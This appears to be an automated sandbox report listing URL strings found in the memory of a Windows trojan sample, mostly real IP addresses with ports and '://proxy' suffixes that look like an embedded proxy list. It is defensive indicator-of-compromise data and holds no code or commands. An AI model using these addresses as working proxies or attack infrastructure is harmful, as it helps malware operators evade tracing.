Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.128.174
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.128.174://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.128.174:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.141.196
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.141.196://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.23.141.196:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.0.129:20672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.0.129:20672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.0.129:30598
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.0.129:30598://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.171.128:41047
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.236.171.128:41047://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:15419
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:15419://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:23667
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:23667://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:30026
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:30026://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:3230
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:3230://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:36049
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:36049://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:45883
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:45883://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EEE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:53777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:53777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:5452
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:5452://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:5484
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:5484://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:56225
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C771E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:56225://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:60214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:60214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:7757
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:7757://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:7999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.111.107:7999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.205.68:4003
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.205.68:4003://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.228.201:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.238.228.201:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.136.68
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.136.68://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.136.68:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.15.158
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.15.158://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.15.158:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.193.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.193.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.193.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.220.52
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.220.52://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.220.52:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.236.203
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.236.203://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.236.203:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.35.152
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.35.152://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.24.35.152:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.244.75.78:31534
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.244.75.78:31534://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.247.164.179:55042
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.247.164.179:55042://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.146.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.146.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:51040
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:51040://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:59755
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:59755://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:60915
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.151.220:60915://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.158.78:61725
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.158.78:61725://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.59.38
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.59.38://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.248.59.38:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.108.120
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.108.120://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.108.120:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.114.28
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.114.28://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.114.28:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.115.125
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.115.125://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.115.125:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.135.170
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.135.170://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.135.170:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.167.88
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.167.88://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.167.88:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.184.189
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.184.189://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.184.189:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.194.175
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.194.175://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.194.175:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.234.81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C670F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.234.81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.234.81:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.244.70
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.244.70://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.244.70:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.42.178
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.42.178://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.42.178:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.58.39
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.58.39://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.58.39:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.87.42
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.87.42://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.25.87.42:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.251.224.95:53384
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.251.224.95:53384://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.252.131.2:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.252.131.2:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.122.6
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.122.6://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.122.6:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C840A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.15.161
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.15.161://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.15.161:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.26.29
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.26.29://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.26.29:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.37.131
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.37.131://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.37.131:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.83.183
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.83.183://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.27.83.183:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.102.130:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.102.130:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.135.145:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.135.145:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.175.206:53723
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.37.175.206:53723://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.45.128.122
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.45.128.122://proxy
